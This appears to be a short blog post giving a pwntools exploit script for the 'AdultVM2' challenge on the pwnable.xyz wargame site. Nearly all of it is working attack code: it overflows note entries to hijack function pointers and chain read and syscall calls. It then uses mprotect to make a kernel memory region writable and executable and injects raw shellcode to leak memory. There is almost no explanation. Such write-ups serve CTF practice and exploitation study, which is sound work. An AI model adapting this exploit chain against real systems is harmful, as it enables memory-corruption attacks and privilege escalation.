pwn/pwnable.xyz

[pwnable.xyz] AdultVM2

lok2h4rd 2024. 5. 20. 11:30
from pwn import *
context.log_level = "debug"

#p = process("./userland")
p = remote("svc.pwnable.xyz", 30048)

ru = lambda a : p.recvuntil(a)
snd = lambda a : p.send(a)
snl = lambda a : p.sendline(a)

def show(idx):
    ru(b"Exit\n")
    snl(b"2")
    ru(b": ")
    snl(str(idx).encode())

def edit(idx, data):
    ru(b"Exit\n")
    snl(b"1")
    ru(b": ")
    snl(str(idx).encode())
    ru(b": ")
    snd(data)


syscall = 0x0004000338
read = 0x04000400
note = 0x004100380


# 10 = mprotect

for i in range(9):
    edit(i, (b"A" * 0x38) + b"\n")

# notes[id].show(notes[id].id, notes[id].note, notes[id].size, notes[id].serial);

pay = b"A" * 8
pay += p64(0)
pay += p64(note)
pay += p64(0x78)
pay += p64(0)
pay += p64(read)
pay += b"\n"
edit(9, pay)
show(0)

# set prot
pay = p64(10)
pay += p64(0xFFFFFFFF81000000)
pay += p64(0x1000)
pay += p64(7)
pay += p64(syscall)
# ====== read
pay += p64(0)
pay += p64(0xFFFFFFFF8100013E)
pay += p64(13)
pay += p64(0)
pay += p64(read)

# ====== write
pay += p64(11)
pay += p64(1)
pay += p64(0xFFFFFFFF81000000 + 0x5000)
pay += p64(0x50)
pay += p64(syscall)

snd(pay)
sleep(0.1)

"""
seg000:FFFFFFFF810000F9 66 89 D1                          mov     cx, dx
seg000:FFFFFFFF810000FC 48 89 C8                          mov     rax, rcx
seg000:FFFFFFFF810000FF 66 BA F8 03                       mov     dx, 3F8h
seg000:FFFFFFFF81000103 F3 6E                             rep outsb
seg000:FFFFFFFF81000105 CF                                iret
"""

show(0)
show(1)
snd(b"\x66\x89\xD1\x48\x89\xC8\x66\xBA\xF8\x03\xF3\x6E\xCF")
show(2)

p.interactive()